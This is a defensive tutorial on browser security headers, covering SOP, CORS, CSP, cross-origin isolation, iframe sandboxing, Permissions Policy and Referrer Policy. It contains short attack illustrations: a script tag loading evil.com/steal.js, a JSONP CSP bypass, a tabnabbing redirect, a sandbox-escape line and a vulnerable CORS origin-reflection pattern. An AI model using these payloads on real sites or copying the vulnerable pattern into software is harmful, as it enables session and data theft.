"To defend a system, you must first think like the attacker."

I'll tell you this: the browser is one of the most hostile execution environments ever built. Every tab you open is potentially running untrusted code inches away from your banking session.

The browser's security model is the only thing standing between that chaos and your users' data. These aren't optional features or nice-to-haves. They are load-bearing walls. If you don't understand them, you're building on sand — and attackers know it.

Let's tear it all down, layer by layer.

The Threat Model: Why Any of This Exists

Before we talk defenses, let's think offensively. What's the attacker trying to do?

• Read your cookies (session hijacking)
• Make requests on your behalf (CSRF)
• Inject and run their own scripts (XSS)
• Leak data through side-channels (Spectre, timing attacks)
• Embed your site and steal clicks (Clickjacking)
• Load your authenticated resources inside their page (cross-origin data theft)

The browser's security model is a direct response to each of these. Every policy we'll cover exists because someone, somewhere, was exploited without it.

1. Same-Origin Policy (SOP) — The Foundation

The oldest wall. The one everything else builds on.

What It Is

The Same-Origin Policy restricts how documents and scripts from one origin can interact with resources from another. An origin is defined as:

protocol + host + port

What It Blocks

• JavaScript running on evil.com cannot read the DOM, cookies, or responses from bank.com
• fetch('https://bank.com/account') from a different origin returns a blocked response

The Hacker's Perspective

SOP is the reason XSS is so devastating. If an attacker gets JS running on your origin, SOP no longer protects you — the attacker is now running as you. XSS turns SOP from a shield into a weapon for the attacker.

The Gotcha

SOP doesn't block sending cross-origin requests — it blocks reading the response. This is exactly why CSRF is possible. The form POST goes through. The cookies go with it. SOP just stops the attacker from reading the result.

2. CORS — Controlled Cross-Origin Access

You chose to open a door. Make sure it's the right door.

What It Is

Cross-Origin Resource Sharing (CORS) is how servers opt-in to allowing cross-origin requests from specific (or all) origins. It's a deliberate exception to SOP, negotiated via HTTP headers.

The Handshake

Simple requests (GET, POST with safe content types) go through directly. The server's response either includes the right headers or the browser blocks the JS from reading it.

Preflighted requests (custom headers, DELETE, PUT, JSON bodies) trigger a preflight:

OPTIONS /api/data HTTP/1.1
Origin: https://app.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization

Server must respond with:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: Authorization
Access-Control-Max-Age: 86400

The Hacker's Perspective

The most common CORS mistake I see in the wild:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

This is invalid and browsers reject it — but developers often "fix" it by dynamically reflecting the request's Origin header back without validation:

# Vulnerable pattern
response.headers['Access-Control-Allow-Origin'] = request.headers['Origin']

Now any origin can make credentialed requests. This bypasses SOP entirely. I've used this exact pattern to exfiltrate authenticated API responses in bug bounties.

Defense Checklist

• Never use * with credentials
• Maintain an explicit allowlist of trusted origins
• Validate the Origin header server-side before reflecting it
• Don't trust null origin — it's sent from sandboxed iframes and local files

3. Content Security Policy (CSP) — XSS's Worst Enemy

Even if an attacker injects HTML, CSP decides what runs.

What It Is

CSP is a response header (or meta tag) that tells the browser which sources of content are trusted. Scripts, styles, images, fonts, frames — all controlled.

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.trusted.com;
  style-src 'self' 'unsafe-inline';
  img-src *;
  frame-ancestors 'none';
  report-uri https://csp.yourapp.com/report

What It Blocks

An attacker injects:

<script src="https://evil.com/steal.js"></script>

If your CSP says script-src 'self', the browser refuses to load it. No execution. No exfiltration.

The Hacker's Perspective

The most devastating CSP weaknesses I look for:

1. unsafe-inline — Allows inline <script> tags and onclick handlers. Kills 90% of CSP's XSS protection.

2. unsafe-eval — Allows eval(), setTimeout(string), new Function(). Immediately exploitable with any code injection.

3. Wildcard host allowlisting — script-src https://*.trusted.com — if any subdomain of trusted.com is compromised or hosts user content (like a CDN), you're done.

4. JSONP endpoints on allowlisted domains — CSP allows the domain, attacker uses the JSONP endpoint to inject arbitrary JS: https://allowed.com/jsonp?callback=alert(1)//

Nonce-Based CSP (The Right Way)

Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'

<script nonce="r4nd0m">
  // This runs
</script>
<script>
  // This is blocked — no nonce
</script>

A per-request cryptographic nonce that attackers can't predict. Combined with strict-dynamic, this is the gold standard.

4. CORP — Cross-Origin Resource Policy

Control who can load your resources, not just who can read the response.

What It Is

Cross-Origin Resource Policy (CORP) is a response header that tells the browser whether a resource can be embedded by cross-origin pages:

Cross-Origin-Resource-Policy: same-origin
# or: same-site | cross-origin

The Problem It Solves

Pre-CORP, any page could do:

<img src="https://intranet.company.com/secret-badge.png">

Even if JS can't read the response, the browser still fetches the image. This matters for:

• Spectre attacks: Side-channel timing can leak data from fetched resources
• Pixel tracking: Inferring whether an image loaded (authenticated resources)
• Intranet probing: Discovering internal services via error states

The Hacker's Perspective

Without CORP, even a "read-protected" endpoint leaks metadata. Response timing, response size, and HTTP status codes are all observable without reading content. CORP prevents the fetch entirely, eliminating the side-channel.

5. COEP — Cross-Origin Embedder Policy

The gatekeeper before you get the dangerous APIs.

What It Is

Cross-Origin Embedder Policy (COEP) ensures every resource your page loads has explicitly opted into being loaded cross-origin (via CORP or CORS):

Cross-Origin-Embedder-Policy: require-corp

Why It Exists

After Spectre was disclosed, browsers disabled access to high-resolution timers (SharedArrayBuffer, performance.measureUserAgentSpecificMemory) — they can be used to build timing side-channels to leak memory contents.

To re-enable them, your page must prove it's a "cross-origin isolated" context — meaning no cross-origin resource can be loaded without explicit opt-in. COEP enforces this.

The Chain

# Your server
Cross-Origin-Embedder-Policy: require-corp

# Third-party resource your page embeds
Cross-Origin-Resource-Policy: cross-origin
# or served with CORS headers

Without COEP, SharedArrayBuffer is unavailable. With COEP + COOP (next), you unlock it.

6. COOP — Cross-Origin Opener Policy

Sever the link between your window and theirs.

What It Is

Cross-Origin Opener Policy (COOP) controls whether your page shares a browsing context group with cross-origin pages it opens (or that open it):

Cross-Origin-Opener-Policy: same-origin
# or: unsafe-none | same-origin-allow-popups

The Problem It Solves

When window.open() is used cross-origin, by default both windows share a browsing context group and have limited access to each other via window.opener. This is exploitable:

// On evil.com, opened from bank.com
window.opener.location = 'https://evil.com/phish'; // Tabnabbing

COOP with same-origin severs this relationship entirely. Cross-origin windows can no longer reference each other.

The Full Cross-Origin Isolation Stack

Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

Together, these make crossOriginIsolated === true in JS, enabling:

• SharedArrayBuffer
• High-resolution performance.now()
• Future powerful APIs

7. Sandbox — The Iframe Cage

Run untrusted content, but strip its weapons first.

What It Is

The sandbox attribute on iframes (and Content-Security-Policy: sandbox) restricts what the embedded content can do:

<iframe 
  src="https://untrusted-widget.com" 
  sandbox="allow-scripts allow-same-origin">
</iframe>

The Capability Kill Switch

The Hacker's Perspective

Never combine allow-scripts + allow-same-origin unless you absolutely need it. This combination allows the framed page to remove the sandbox attribute via script:

// Inside sandboxed iframe with allow-scripts + allow-same-origin
window.frameElement.removeAttribute('sandbox'); // Breaks out

The sandbox is also applied via CSP for the main frame itself:

Content-Security-Policy: sandbox allow-scripts

Useful for serving untrusted HTML documents (like email previews) on a throw-away domain.

8. Permissions Policy — Revoking Browser Features

Lock down what APIs your page (and its iframes) can access.

What It Is

Formerly Feature Policy, Permissions Policy lets you control access to powerful browser APIs — camera, microphone, geolocation, and many more — for your own page and for embedded iframes:

Permissions-Policy: 
  camera=(),
  microphone=(),
  geolocation=(self "https://maps.partner.com"),
  payment=(self)

Syntax

• () — Disabled for everyone, including self
• (self) — Allowed for same-origin only
• (self "https://partner.com") — Allowed for self and specified origin

Why It Matters for Security

A third-party script or iframe gaining access to the camera or microphone is catastrophic. Permissions Policy prevents it even if the embedded content tries to request these permissions.

<!-- This iframe cannot request camera access, ever -->
<iframe 
  src="https://ads.thirdparty.com"
  allow="payment 'none'">
</iframe>

The Hacker's Perspective

In supply chain attacks, compromised third-party scripts often try to fingerprint or exfiltrate data using browser APIs. Permissions Policy limits the blast radius. Even if analytics.js is compromised, it can't silently activate the microphone.

9. Referrer Policy — Controlling Your Breadcrumbs

What does the next site know about where you came from?

What It Is

When you navigate from one page to another, the browser sends a Referer header (yes, historically misspelled) with the source URL. Referrer Policy controls how much of that URL is shared:

Referrer-Policy: strict-origin-when-cross-origin

The Options

The Hacker's Perspective

The Referer header can leak sensitive data. Consider:

https://app.com/reset-password?token=abc123xyz

If the reset page loads any third-party resource (analytics, CDN font, even a favicon from a different origin), that token lands in the third party's access logs via the Referer header.

I've found password reset tokens, session identifiers, and internal path structures in referrer logs during assessments. strict-origin-when-cross-origin strips the path and query string for cross-origin navigation — use it.

Putting It All Together: The Full Security Header Stack

Here's what a hardened response header set looks like:

# Block XSS, control resource loading
Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}' 'strict-dynamic'; style-src 'self'; img-src 'self' data: https:; frame-ancestors 'none'; report-uri /csp-report

# Allow cross-origin isolation
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

# Control who can embed your resources
Cross-Origin-Resource-Policy: same-origin

# Strip referrer on cross-origin navigation
Referrer-Policy: strict-origin-when-cross-origin

# Disable dangerous APIs for you and third parties
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(self)

# Classic extras
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Testing Your Headers

Don't guess. Verify.

• securityheaders.com — Grade your headers
• CSP Evaluator — Find CSP weaknesses (by Google)
• Firefox DevTools → Network → Headers — Inspect per-request
• Burp Suite — Intercept and validate in a real attack simulation

The Mental Model: Defense in Depth

Think of these policies as concentric circles:

┌─────────────────────────────────────────────┐
│  Permissions Policy (API access control)    │
│  ┌───────────────────────────────────────┐  │
│  │  COOP + COEP (isolation boundary)     │  │
│  │  ┌─────────────────────────────────┐  │  │
│  │  │  CSP (execution control)        │  │  │
│  │  │  ┌───────────────────────────┐  │  │  │
│  │  │  │  CORS + CORP (data access)│  │  │  │
│  │  │  │  ┌─────────────────────┐  │  │  │  │
│  │  │  │  │  SOP (foundation)   │  │  │  │  │
│  │  │  │  └─────────────────────┘  │  │  │  │
│  │  │  └───────────────────────────┘  │  │  │
│  │  └─────────────────────────────────┘  │  │
│  └───────────────────────────────────────┘  │
└─────────────────────────────────────────────┘
         Sandbox (untrusted content)
         Referrer Policy (data leakage)

Each layer assumes the previous one has already failed. That's the attacker's mindset — and it's how you should build.

Final Thoughts

The browser security model isn't a checkbox. It's an evolving negotiation between functionality and security, and attackers are always reading the spec for the next gap.

The best security engineers I know treat these headers not as configuration, but as a threat model articulated in HTTP. Every missing header is a question you haven't answered: "What happens when the attacker gets here?"

Answer those questions before they do.

Found a misconfigured header in the wild? Responsible disclosure is the way. Build the web you'd want to use.